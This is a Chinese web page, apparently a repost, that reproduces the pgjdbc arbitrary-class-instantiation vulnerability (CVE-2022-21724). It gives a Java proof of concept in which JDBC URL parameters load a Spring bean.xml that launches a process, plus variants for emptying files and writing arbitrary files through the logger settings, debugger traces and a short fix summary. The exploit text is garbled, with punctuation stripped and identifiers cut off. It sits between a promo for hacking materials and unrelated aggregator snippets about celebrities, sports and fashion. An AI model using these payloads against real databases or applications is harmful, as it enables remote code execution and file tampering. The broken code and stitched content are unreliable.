安庆大理运城常德铜陵江西
投稿投诉
江西南阳
嘉兴昆明
铜陵滨州
广东西昌
常德梅州
兰州阳江
运城金华
广西萍乡
大理重庆
诸暨泉州
安庆南充
武汉辽宁

任意代码执行漏洞复现

12月28日 不将就投稿
  漏洞简介
  在PostgreSQL数据库的jdbc驱动程序中发现一个安全漏洞。当攻击者控制jdbcurl或者属性时,使用PostgreSQL数据库的系统将受到攻击。pgjdbc根据通过authenticationPluginClassName、sslhostnameverifier、socketFactory、sslfactory、sslpasswordcallback连接属性提供类名实例化插件实例。但是,驱动程序在实例化类之前没有验证类是否实现了预期的接口。这可能导致通过任意类加载远程代码执行。
  影响范围:9。4。1208PgJDBC42。2。2542。3。0PgJDBC42。3。2漏洞复现
  创建maven项目,添加依赖!https:mvnrepository。comartifactorg。postgresqlpostgresqldependencygroupIdorg。postgresqlgroupIdpostgresqlartifactIdversion42。3。1versiondependency!https:mvnrepository。comartifactorg。springframeworkspringcontextsupportdependencygroupIdorg。springframeworkgroupIdspringcontextsupportartifactIdversion5。3。23versiondependency
  编写测试代码importjava。sql。Cimportjava。sql。DriverMimportjava。sql。SQLEpublicclasscve202221724{publicstaticvoidmain(String〔〕args)throwsSQLException{StringsocketFactoryClassorg。springframework。context。support。ClassPathXmlApplicationCStringsocketFactoryArghttp:127。0。0。1:8080bean。StringjdbcUrljdbc:postgresql:127。0。0。1:5432test?socketFactorysocketFactoryClasssocketFactoryArgsocketFactoryAConnectionconnectionDriverManager。getConnection(jdbcUrl);}}
  bean。xmlbeansxmlnshttp:www。springframework。orgschemabeansxmlns:xsihttp:www。w3。org2001XMLSchemainstancexmlns:phttp:www。springframework。orgschemapxsi:schemaLocationhttp:www。springframework。orgschemabeanshttp:www。springframework。orgschemabeansspringbeans。xsd!普通方式创建类beanidexecclassjava。lang。ProcessBuilderinitmethodstartconstructorarglistvaluebashvaluevaluecvaluevaluecalc。exevaluelistconstructorargbeanbeans
  【一一帮助安全学习,所有资料关注我,私信回复资料获取一一】
  网络安全学习路线
  20份渗透测试电子书
  安全攻防357页笔记
  50份安全攻防面试指南
  安全红队渗透工具包
  网络安全必备书籍
  100个漏洞实战案例
  安全大厂内部教程漏洞分析
  任意代码执行socketFactorysocketFactoryArg
  先将调试后的流程大概画出
  java。sql。DriverManagergetConnection(java。lang。String)
  java。sql。DriverManagergetConnection(java。lang。String,java。util。Properties,java。lang。C?)
  利用org。postgresql。Driver的jdbc驱动去连接数据库
  org。postgresql。Driverconnect
  调用makeConnection去连接数据库
  org。postgresql。DrivermakeConnection
  org。postgresql。jdbc。PgConnectionPgConnection
  org。postgresql。core。ConnectionFactoryopenConnection
  org。postgresql。core。v3。ConnectionFactoryImplopenConnectionImpl
  org。postgresql。core。SocketFactoryFactorygetSocketFactory
  PGProperty是枚举类型其中的get方法是判断枚举项的值有没有传入的properties,如果存在就查找返回,没有就返回默认值
  SOCKETFACTORY(socketFactory,null,Specifyasocketfactoryforsocketcreation),SOCKETFACTORYARG(socketFactoryArg,null,ArgumentforwardedtoconstructorofSocketFactoryclass。),
  org。postgresql。util。ObjectFactoryinstantiate
  通过newInstance来实现对ctor类的创建,同时args作为参数。构造方法中有且只有一个String参数的类就可以满足条件。org。apache。commons。jxpath。functions。ConstructorFunctionorg。apache。commons。jxpath。functions。MethodFunctionjava。io。FileOutputStream
  通过利用CVE201717485实现Springspel执行任意命令或者利用FileOutputStream将任意文件置空(jdbc:postgresql:127。0。0。1:5432test?socketFactoryjava。io。FileOutputStreamsocketFactoryArgtest。txt)任意代码执行sslfactorysslfactoryarg
  (https:xzfile。aliyuncs。commediauploadpicture20221107161250f8d817745e731。gif)
  init:85,ClassPathXmlApplicationContext(org。springframework。context。support)newInstance0:1,NativeConstructorAccessorImpl(sun。reflect)newInstance:62,NativeConstructorAccessorImpl(sun。reflect)newInstance:45,DelegatingConstructorAccessorImpl(sun。reflect)newInstance:423,Constructor(java。lang。reflect)instantiate:62,ObjectFactory(org。postgresql。util)getSslSocketFactory:64,SocketFactoryFactory(org。postgresql。core)convert:34,MakeSSL(org。postgresql。ssl)enableSSL:546,ConnectionFactoryImpl(org。postgresql。core。v3)tryConnect:151,ConnectionFactoryImpl(org。postgresql。core。v3)openConnectionImpl:215,ConnectionFactoryImpl(org。postgresql。core。v3)openConnection:51,ConnectionFactory(org。postgresql。core)init:225,PgConnection(org。postgresql。jdbc)makeConnection:466,Driver(org。postgresql)connect:265,Driver(org。postgresql)getConnection:664,DriverManager(java。sql)getConnection:270,DriverManager(java。sql)main:17,cve202221724
  org。postgresql。core。v3。ConnectionFactoryImplopenConnectionImpl
  尝试与数据库进行连接
  org。postgresql。core。v3。ConnectionFactoryImpltryConnect
  建立连接后收到请求以S开头,进入org。postgresql。ssl。MakeSSLconvert
  org。postgresql。core。v3。ConnectionFactoryImplenableSSL
  org。postgresql。ssl。MakeSSLconvert
  org。postgresql。core。SocketFactoryFactorygetSslSocketFactory
  任意文件写入loggerLevelloggerFile
  importjava。sql。Cimportjava。sql。DriverMimportjava。sql。SQLEpublicclasscve202221724{publicstaticvoidmain(String〔〕args)throwsSQLException{StringloggerLStringloggerFiletest。StringshellCStringjdbcUrljdbc:postgresql:127。0。0。1:5432test?loggerLevelloggerLevelloggerFileloggerFileshellCConnectionconnectionDriverManager。getConnection(jdbcUrl);}}
  org。postgresql。Driverconnect
  org。postgresql。DriversetupLoggerFromProperties
  通过设置扩展参数LOGGERFILE指定日志文件保存位置,没有进行校验,所以可以跨目录的保存文件
  生成临时文件,之后将日志信息保存到文件中
  org。postgresql。Driverconnect
  先通过setupLoggerFromProperties设定相关的参数然后再利用LOGGER。log保存文件
  漏洞修复
  针对代码执行的漏洞而言,要求获取的类名必须是指定类的子类,否则就抛出异常
  对于任意文件写入而言,高版本中移除了对日志文件的设定操作setupLoggerFromProperties(props);
投诉 评论 转载

我的坚持你能想象到吗?你会坚持五年以上一直做一件事吗?能坚持这么久的事情是一件不容易的事情,因为人都是有惰性的,有的时候当时心血来潮喜欢做了一件事,没有几天新鲜件儿过了,就不想再继续了。……第一流的化妆,是生命的化妆内修其里,外耀光华。作者:洞见Leyla林清玄曾经写过一篇散文,叫《生命的化妆》。在这篇文章中,他提到化妆有三个境界:第三流的化妆,是脸上的化妆。例如涂……华为Mate50系列的可变光圈技术不新鲜,但依然值得期待拍照正变得简单。图片来自:gifer初始,相机没有一丝电子结构,拍一张照片你需要熟背阳光十六法则,还得会根据光影确定光圈与快门,以及合适感光度的胶片,一切准备完成之……街拍小姐姐看上去年轻有活力,颜值过人小姐姐看上去年轻有活力,颜值过人要申明:谢谢你这么美出现在我的镜头里,如果给您带来困扰,请私信我删除鲨鱼裤的搭配是很多妹子的追求,设计独特,舒适自然的鲨鱼裤搭配花俏……亚洲杯伊藤美诚4比0击败田志希,晋级四强,日本男乒新星鏖战过北京时间11月18日消息,2022年乒乓球亚洲杯在泰国曼谷进入到第二天。女单14决赛,伊藤美诚以4比0击败韩国选手田志希,以不失一局的成绩晋级四强。半决赛,伊藤美诚将迎战陈幸同……自由之刃赤月龙城。快速打资源攻略哈喽哈喽,各位玩家们大家好呀,赤月龙城自由之刃魂环无限攻速版,想要快速攻略跟随小编一起来看看叭一、纹章攻略大全1。白虎纹章:作用是提供双抗值,百分比例双抗,让……逆袭男神精致BOYPCL纹绣第75期弟子班作品展示8月30日,PCL纹绣pcl纹绣第75期弟子班教学接近尾声,为期15天的学习,PCL主讲老师为学员打版了经典的真人纹绣作品,接下来让我们一起看看到底有哪些迷粉作品吧!一、……任意代码执行漏洞复现漏洞简介在PostgreSQL数据库的jdbc驱动程序中发现一个安全漏洞。当攻击者控制jdbcurl或者属性时,使用PostgreSQL数据库的系统将受到攻击。pgjdb……恒大又1笔钱打了水漂!25岁归化中超3年0出场,如今要恢复原众所周知,恒大在前几年为国足归化了一批球员,非血统归化如高拉特、洛国富、艾克森等,有血统归化如蒋光太、萧涛涛等。但是很遗憾,截至目前,真正谈得上成功且能为国足所用的只有蒋光太一……2022年世界杯冠亚军预测西方资本的博弈世界杯开赛在即,很多赌G均已急不可耐。作为资深赌G中的一员,简要和各位分享一些我的心得。我们经常听到一句关于足球的心灵鸡汤文:足球无关ZZ,体育精神高于ZZ。这句话,每每……沈傲君拿200万向聂远求婚被拒,相亲嫁给外交官丈夫,生活幸福机会不会上门来找,只有人主动去找机会。机不可失时不再来,对于每一个机会我们都应该重视,因为它可能改变我们的人生轨迹。沈傲君是一名演员,她就是成功把握住了机会。即使她没有主……再怎么吹捧,最终都会现出原形人们常说:当潮水退去时,才知道谁在裸泳。是的,在事实没有完全明朗的时候,谁也不知道真相是什么。世事的表象并非就是真实,金玉其外败絮其中并不是少数,伪装是人的本性。每个人都……
记者拜仁16岁小将伊布拉希莫维奇想要离队,本赛季10场9球4今日随笔专访华映资本管理合伙人章高男,投资人如何克服跨界难题?微胖女人的初秋穿搭,选一条时尚的挂脖长裙搭配,优雅知性有气质英雄联盟手游确定了,3。0版本新英雄有奥恩!还会上架狗熊?游戏公司苦熬版号空档期两家连亏已退市,最牛厂商净利翻足39倍钮文新烫手的贸易顺差,中国经济亟需内生动力肠镜到底有多痛?肠镜有效期是多长时间?建议10类人别逃避前欢瑞副总裁姜磊分享感人故事,透露杨紫不顾劝阻帮助老人,真是以下四句话,要放在肚子里,别逢人就说人间最美四月天,清明养生正当时苹果iPhone14系列手机才刚开卖就有bug,两软件不能更午梦感邯郸旧事69岁胡因梦告诉我们中老年女人剪短发穿中国风,洋气又耐看二十年后的家乡穿中式婚礼服适合的发型复古盘发展现传统中国风肇事抢救无效致人死亡会进行怎样的判罚如何快速处理图片马赛克效果题野鹤孤云卷赠闫道人开发儿童创造力的10宜10忌关于夏天的优美段落中秋节日记200字范文六篇小米要重塑经典,说不定又是一批钉子户,何必呢?我的百变爸爸

友情链接:中准网聚热点快百科快传网快生活快软网快好知文好找七猫云易事利